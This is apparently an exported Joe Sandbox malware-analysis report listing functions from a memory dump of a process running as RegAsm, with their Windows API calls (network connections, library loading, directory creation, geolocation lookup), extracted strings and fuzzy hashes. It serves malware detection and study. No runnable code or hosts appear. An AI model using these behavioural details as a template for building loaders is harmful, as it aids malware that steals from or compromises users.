Part of subcall function 00423900: __aulldiv.LIBCMT ref: 00423C96

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004281FA
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0042839F

Strings

0c\UU@, xrefs: 004266BE

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad$__aulldiv
String ID: 0c\UU@
API String ID: 898380398-831922003
Opcode ID: 3b979697a2a28dc4638233d70ca8ea3be594a0fc403fc6354966161bc91f2c7b
Instruction ID: 5815af0ce324c93d44586b93ce555d085c74b246f2de5e0bfc69a2d9b84e3f3c
Opcode Fuzzy Hash: 3b979697a2a28dc4638233d70ca8ea3be594a0fc403fc6354966161bc91f2c7b
Instruction Fuzzy Hash: DB231870E052688FCB25CF68DC90BEEBBB1BF4A308F1481DAD449A7342D6356A85DF54

Function 0050BBB0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 218networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0050B890: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050B8E4

InternetOpenUrlA.WININET(00000000,00000002,00000000,00000000,80000000,00000000), ref: 0050BCC3

Strings

{, xrefs: 0050BD81

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InternetOpen
String ID: {
API String ID: 2038078732-366298937
Opcode ID: a50ecd5835876eb8dd4a800f883d32f1f3cc1d675fc045545af166e7928cc127
Instruction ID: 303ff10650ca6c4884a928bc1d4f83d84d075c7b5ef5698bfc1688b859a78c2b
Opcode Fuzzy Hash: a50ecd5835876eb8dd4a800f883d32f1f3cc1d675fc045545af166e7928cc127
Instruction Fuzzy Hash: 2AA1F1B5D00209DFEB14DF98C895BEEBBB5BF48304F248159E905AB281D774AA45CFA0

Function 0051BD80 Relevance: 4.6, APIs: 3, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 0051BE0E
GetLastError.KERNEL32 ref: 0051BE4F
SetLastError.KERNEL32(?,?,00000000,00000001,00000028,?,00000000,00000001,00000008), ref: 0051BEF4

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$HandleModule
String ID:
API String ID: 1090667551-0
Opcode ID: ab7339f71b8fd24bb1daaef78b96bdccfb41147339b43e99d32d35df6a0c16a1
Instruction ID: fe9c51b8f3508887e9fe5af8ccbade2a034f56e57b751b4b205892e94710cfb6
Opcode Fuzzy Hash: ab7339f71b8fd24bb1daaef78b96bdccfb41147339b43e99d32d35df6a0c16a1
Instruction Fuzzy Hash: D051D1B5E08288ABEF04DBF98C55AEFBFF56F5C200F0484ADF555E3282E63446048B60

Function 0051C020 Relevance: 3.2, APIs: 2, Instructions: 150COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(000005B6), ref: 0051C0CF
GetModuleHandleA.KERNEL32(00000000), ref: 0051C1AE

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

Part of subcall function 0051BD80: GetModuleHandleA.KERNEL32(00000000), ref: 0051BE0E
Part of subcall function 0051BD80: GetLastError.KERNEL32 ref: 0051BE4F

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireErrorHandleLastModuleRelease$ConditionVariableWake
String ID:
API String ID: 1192564941-0
Opcode ID: 104857ef1ce535e72a989ec6d86d0dc7600f25ca9d2a8f60ef375160737ebc03
Instruction ID: 69a9a7caf1b3a47ec4176bf7c1269fc47c7bd7e0e76803d0bab5eea4d85b5a08
Opcode Fuzzy Hash: 104857ef1ce535e72a989ec6d86d0dc7600f25ca9d2a8f60ef375160737ebc03
Instruction Fuzzy Hash: E451C3B1D04249AFDB14DBF89845AEEBFB5BB98300F04456AF555A3282EA345A048BA1

Function 0053E01E Relevance: 1.7, APIs: 1, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0053E659

Part of subcall function 00540B81: RaiseException.KERNEL32(E06D7363,00000001,00000003,BS,?,?,?,?,0053E642,?,00588EB8), ref: 00540BE1

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise
String ID:
API String ID: 1477838251-0
Opcode ID: cda199d53502993a2710c5678e1d9b98c84bcbcd67dc311b76dea8504dea9ae5
Instruction ID: 14de0478b3319b42f1111524a07ecd127b8ee99bbc73f54541f9c991690e3b7d
Opcode Fuzzy Hash: cda199d53502993a2710c5678e1d9b98c84bcbcd67dc311b76dea8504dea9ae5
Instruction Fuzzy Hash: 1A619071D012199BEB14CFA5DC8A7AEBBF4FB54310F24842AD805E7291E3B4AD48DB90

Function 00431A40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 00431AFC

Strings

}{, xrefs: 00431A4C
}, xrefs: 00431C44
m, xrefs: 00431C48
eks, xrefs: 00431B33, 00431B62
j3l6lrek, xrefs: 00431BF1, 00431C20
n{, xrefs: 00431A9C

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: eks$j3l6lrek$m$n{$}$}{
API String ID: 3732870572-2155061626
Opcode ID: ab4c86a3109c7a17b9baca86eb7dddaeb2faf6a5abc78cf3d88569a5070315cc
Instruction ID: 43188a1591aad1c34db43096a5003d9be3fc9e5e01c1351a24c8dc1fba59194c
Opcode Fuzzy Hash: ab4c86a3109c7a17b9baca86eb7dddaeb2faf6a5abc78cf3d88569a5070315cc
Instruction Fuzzy Hash: 83A103B0D042589FDF14CFA5C891BEEBBB1BF48304F1481AAD409AB341DB786A85CF95

Function 0050B890 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 255
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050B8E4
InternetConnectA.WININET(00000000,0000EFD2,00000050,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0050B92F

Strings

6~swr, xrefs: 0050B9B0

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$ConnectOpen
String ID: 6~swr
API String ID: 2790792615-3949020348
Opcode ID: 663b295ad1e004887a0d64917906e1e8d2841d4388c1b4ab8657af88b613dfc7
Instruction ID: dfeebe113d482a7fc0d3fabec27dd4a5e230ccde294820cd5b2b94538c26df42
Opcode Fuzzy Hash: 663b295ad1e004887a0d64917906e1e8d2841d4388c1b4ab8657af88b613dfc7
Instruction Fuzzy Hash: B7B1F7B4E00208EBEB14CF95DC95BEEBBB5BF48704F108159E605BB280D7B9AA05DF54

Function 00557682 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea39bd72b4469cb3e6f5953d31d5c595cd9ad22dc9afcdde99cbbff7fb928db5
Instruction ID: 7d99da20ef12af29ccd29c4ddb17e5e6c5c7c828da3b2614929e8c5234eecdb2
Opcode Fuzzy Hash: ea39bd72b4469cb3e6f5953d31d5c595cd9ad22dc9afcdde99cbbff7fb928db5
Instruction Fuzzy Hash: 58B11374A0824A9BDF11DFA8EC65BAD7FB0BF4D301F24015AEC45AB292C7709949CB60

Function 00431D20 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00431A40: __aulldiv.LIBCMT ref: 00431AFC

Part of subcall function 00416D40: std::ios_base::clear.LIBCPMTD ref: 00416E67

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00431DD6

Part of subcall function 004141F0: std::ios_base::clear.LIBCPMTD ref: 00414372

Part of subcall function 00414120: std::ios_base::clear.LIBCPMTD ref: 0041417E

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00431EC1
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00431EF2

Strings

`@, xrefs: 00431DCC, 00431EB7, 00431EE8
`XA, xrefs: 00431DC3, 00431EAE, 00431EDF

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_std::ios_base::clear$__aulldiv
String ID: `XA$`@
API String ID: 3845869555-3161672447
Opcode ID: a60a9ab66fea74c40637482695fa9900cea410be327952e2ab23aa4d3da5d38c
Instruction ID: a3e28af1a6e542087ac90c1154b64dbc6460663fd420f83dfbf3d43e06370d13
Opcode Fuzzy Hash: a60a9ab66fea74c40637482695fa9900cea410be327952e2ab23aa4d3da5d38c
Instruction Fuzzy Hash: 2651E4B0E042588BDF04DFA4C9957FEBFB1AB86300F6040AAD9056B391DB795E80CB94

Function 0042BB80 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042BCA5
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,0000000A,00000000), ref: 0042BE18

Strings

}{, xrefs: 0042BC0F
n{, xrefs: 0042BC5D

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CreateDirectory
String ID: n{$}{
API String ID: 1884557851-1042045087
Opcode ID: 9a3897df858d35b61e6090e42921d0233c9e024cbce9757b56e46cf422d96ea6
Instruction ID: 66b9d3cfa06ff6842aa64c5b26630d94d739c78e8baf54dc74469c93df3a3511
Opcode Fuzzy Hash: 9a3897df858d35b61e6090e42921d0233c9e024cbce9757b56e46cf422d96ea6
Instruction Fuzzy Hash: 06A117B1E002189BDB14CFA9D891BEEBBB5FF88304F14806AE509B7351D7786A45CF54

Function 0050C070 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36, xrefs: 0050C1A8
@L, xrefs: 0050C0B7

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: @L$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
API String ID: 0-928537598
Opcode ID: c8ce03a3233569af4ac6571cc91ac47f3734f59005d2c83e91e243b44067494e
Instruction ID: cd128c93f7bf3c8193ebd90fc6991d5aa691f55d1707b9aec00d476382a1c62c
Opcode Fuzzy Hash: c8ce03a3233569af4ac6571cc91ac47f3734f59005d2c83e91e243b44067494e
Instruction Fuzzy Hash: 5351C1B5E00209ABDB08DFD9D895BEEBBF5BF88300F10811AE505A7384D7746A41CB94

Function 00416D40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00416E67

Strings

WA, xrefs: 00416DEB
`XA, xrefs: 00416D73

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: WA$`XA
API String ID: 1443086396-855112263
Opcode ID: 9174b6db1c77a7698fd39d58929472cddf39052d8f216809a051ca9c6b75448d
Instruction ID: e507a5a32f7d3b5dcada019a18e74b4090ae13039539df578e4dc11480ba84bb
Opcode Fuzzy Hash: 9174b6db1c77a7698fd39d58929472cddf39052d8f216809a051ca9c6b75448d
Instruction Fuzzy Hash: EC41C774A04209EFDB04DF99C891BAEBBB1FF48304F118199E515AB391C775AE81CF94

Function 0041F8A0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000001), ref: 0041F8D4
_com_issue_error.COMSUPP ref: 0041F8F2
_com_issue_error.COMSUPP ref: 0041F91B

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$AllocString
String ID:
API String ID: 245909816-0
Opcode ID: 38770064ea28288b514d44249654f2ceda9ca7d077d6ec7c02e66c4bd89a294c
Instruction ID: 0b77db6c1808a706a69a158a1ad001aa90e12922d7a39361793bd48e8c80f6db
Opcode Fuzzy Hash: 38770064ea28288b514d44249654f2ceda9ca7d077d6ec7c02e66c4bd89a294c
Instruction Fuzzy Hash: EB11D7B4900208EFDB00EF94C549B9DBBB1EF44304F2081A9D9096B391D7B9AE86DB85

Function 0054F61E Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0054F618,00000000,0054AEEA,?,?,56A9C068,0054AEEA,?), ref: 0054F62F
TerminateProcess.KERNEL32(00000000,?,0054F618,00000000,0054AEEA,?,?,56A9C068,0054AEEA,?), ref: 0054F636
ExitProcess.KERNEL32 ref: 0054F648

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 9e78dbbd2fb4bca78452b5b966021151efd374b181a3b1eadfc29377a94dc8f9
Instruction ID: 3f3e1e3b99468d25dce7cab22bc1d67e34f82d963ad3b761a18f6f9253370fe0
Opcode Fuzzy Hash: 9e78dbbd2fb4bca78452b5b966021151efd374b181a3b1eadfc29377a94dc8f9
Instruction Fuzzy Hash: C6D09E3140010DBBDF113F69DC0D99A3F2DBF50355B454024F91987132DB729996EB94

Function 005584FB Relevance: 3.2, APIs: 2, Instructions: 196fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00557C11: GetConsoleOutputCP.KERNEL32(56A9C068,00000000,00000000,00000000), ref: 00557C74

WriteFile.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,0000000C,?,00000000,00588A50,00000014,0054F044,00000000,00000000,00000000), ref: 00558680
GetLastError.KERNEL32(?,00000000), ref: 0055868A

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 93fb4403363359f6b7e5581cd26bd50e14db84a2fa6c457b04d38745cbba1a44
Instruction ID: 7e5d937b40cb86f1a91303876627bbacf9d7c5db9323ae4555d6a3acf967a568
Opcode Fuzzy Hash: 93fb4403363359f6b7e5581cd26bd50e14db84a2fa6c457b04d38745cbba1a44
Instruction Fuzzy Hash: 15619FB580011AAFDF11CFA8C895ABEBFB9BB59305F140556EC00B7252EB31D9099B90

Function 00413370 Relevance: 3.2, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004134A2
__fread_nolock.LIBCMT ref: 004134F2

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 14857784439bfb0fded491df7ca2f4847927c5f8360138fd09694560756da3c4
Instruction ID: 4da88d6e4580d709966acb3d768c5fb75a167052d54c8e7bb3f1329e39569909
Opcode Fuzzy Hash: 14857784439bfb0fded491df7ca2f4847927c5f8360138fd09694560756da3c4
Instruction Fuzzy Hash: 39617475A00109EFCB04CF98C594AEEBBB2FF88305F2081AAE915A7355D735AE81DF54

Function 0054AD81 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,?,0054AD43,?,?,?,?,?), ref: 0054ADBD
GetLastError.KERNEL32(?,?,0054AD43,?,?,?,?,?,00588670,00000018,0054AF14,?,?,?,?,?), ref: 0054ADCA

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 18814e3d3e58956b9308e51246905c2eb57ed305e40aec464cc30f1ce1f8c9c6
Instruction ID: abae82f093606e27b09ad9464b4b3d0b26caf41557f2d5079a521825cfa87877
Opcode Fuzzy Hash: 18814e3d3e58956b9308e51246905c2eb57ed305e40aec464cc30f1ce1f8c9c6
Instruction Fuzzy Hash: B5010436A14115AFCB058F99DC09DDE3F29FB85325B280209F8119B190E671E9419B90

Function 0055A5CE Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0055F161,0041C3C8,00000000,0041C3C8,?,0055F402,0041C3C8,00000007,0041C3C8,?,0055F9F7,0041C3C8,0041C3C8), ref: 0055A5E4
GetLastError.KERNEL32(0041C3C8,?,0055F161,0041C3C8,00000000,0041C3C8,?,0055F402,0041C3C8,00000007,0041C3C8,?,0055F9F7,0041C3C8,0041C3C8), ref: 0055A5EF

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 364a6fa1e6d3d315b57dd3f44d38bfd42cd22917b739c09a8305668c146bf35e
Instruction ID: 181b53875a92b3ffd0e18ca616cb6882ade8f9942b46c1f443859408c2ee667b
Opcode Fuzzy Hash: 364a6fa1e6d3d315b57dd3f44d38bfd42cd22917b739c09a8305668c146bf35e
Instruction Fuzzy Hash: 32E08C32A04204ABDF212FA6EC0DB9A3F58BB403A6F284161FA18D6060DBB09984D795

Function 00557B71 Relevance: 2.6, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,?,00557A58,00000000,?,00588A30,0000000C,00557B14,MT,?), ref: 00557BC7
GetLastError.KERNEL32(?,00557A58,00000000,?,00588A30,0000000C,00557B14,MT,?), ref: 00557BD1

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 8aeb34b1122bea2897089ed340032fffe57dc5e1d5e65b1b18fd8521df8151a0
Instruction ID: 0ea216a494df05932795bb12278c4fed712d76d4d0375f6c705cae6cc8737cf8
Opcode Fuzzy Hash: 8aeb34b1122bea2897089ed340032fffe57dc5e1d5e65b1b18fd8521df8151a0
Instruction Fuzzy Hash: B81159365081185AD62112757C6DB6D2F59BB89B36F28021BFC188B1C2EA648C8C5250

Function 0054E275 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44f58bbe6362517f8939d61995812e340540805aafe0ad6d011666f991096d71
Instruction ID: 2084c553b3b9f275e34185bdb693a43adc2e45164d2a0e71ec78a3e3ac0d328b
Opcode Fuzzy Hash: 44f58bbe6362517f8939d61995812e340540805aafe0ad6d011666f991096d71
Instruction Fuzzy Hash: 0851A175A00104AFDF15DF58CC8AAE9BFB1FF89328F248558F8499B252D271EE41CB90

Function 004141F0 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00414372

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: c0b83071acae89aeef5c8617323d510e3ce59be0cacf276acdf9a7531c41f33e
Instruction ID: 8e409c15ee317b51c278df72e56b2589d090603ccf85a204518ff5c11603a3ed
Opcode Fuzzy Hash: c0b83071acae89aeef5c8617323d510e3ce59be0cacf276acdf9a7531c41f33e
Instruction Fuzzy Hash: 69519EB4E04249DFCB14CF99D491AEEFBB1BF88310F24815AE915AB395C734A981CF94

Function 00431F00 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000), ref: 00431FDA

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionCurrentDirectoryVariableWake
String ID:
API String ID: 350265564-0
Opcode ID: 26ef65cec1210cfcb11b0d5b66e1bed707af725cdf02aa58bc23bd43241d3b54
Instruction ID: c310fdeb5a083e577c01ea4250973ffe74c2bb959c660fd7ddc64710599b3d45
Opcode Fuzzy Hash: 26ef65cec1210cfcb11b0d5b66e1bed707af725cdf02aa58bc23bd43241d3b54
Instruction Fuzzy Hash: 3D219EB4D002098FCF14DFA4C8859AEBBB1FF88304F14856AE80667394D735AA49CF96

Function 0042CE20 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32(00000010), ref: 0042CE30

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: User
String ID:
API String ID: 765557111-0
Opcode ID: ef8258a1911f9aa119110de39289810a1352633f695b1a773551b0307fc6c2c0
Instruction ID: c4707849ce39850d1815e66c25a692d446deca643534161b110d06009653fb30
Opcode Fuzzy Hash: ef8258a1911f9aa119110de39289810a1352633f695b1a773551b0307fc6c2c0
Instruction Fuzzy Hash: 5D11B7B9E40209BFDB00DFE4D846BAEBBB4BB48700F1041A9EA14A7380D6716A009B95

Function 0041D950 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0041D967

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: c2b78d07dd7f3cfbff7048cadcbd5d1dda04bb57e1d1ea51057e93f20c614c49
Instruction ID: 637604d627c08a5797b21f27af9890a3e9d937d8568771b3f86609c91c159c48
Opcode Fuzzy Hash: c2b78d07dd7f3cfbff7048cadcbd5d1dda04bb57e1d1ea51057e93f20c614c49
Instruction Fuzzy Hash: 40F044F4D0010CEBCB04EFA8C48569EFBB1EF44744F1081AAE80597394D6349F81DB85

Function 00500570 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0050058D

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 00b24e84eee76cbf20e33da27bb64dbea8ba0c9a40d0292b4007061cab9f218c
Instruction ID: 5be3fed50b1487be26c4db14e1e0c1881e0882e204833b123695ebb54087ba8b
Opcode Fuzzy Hash: 00b24e84eee76cbf20e33da27bb64dbea8ba0c9a40d0292b4007061cab9f218c
Instruction Fuzzy Hash: 0FF019B4C0420DAACF14EFA4C8457DDBFF4AB04344F1084AED8052B2C1D6B9A685CF96

Function 0055A608 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0041C3C8,-000927C0,?,0053E038,0041C3C8,?,0041C3C8,00000000,?,0041A2D6), ref: 0055A63A

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 244b091494a9223b10e22d2fe82f580e5546466ba498e3e79f547691520d278a
Instruction ID: e165f2d26d049d755007d28cc8c893f0f0b674b215a3186d80bca8f901ef9986
Opcode Fuzzy Hash: 244b091494a9223b10e22d2fe82f580e5546466ba498e3e79f547691520d278a
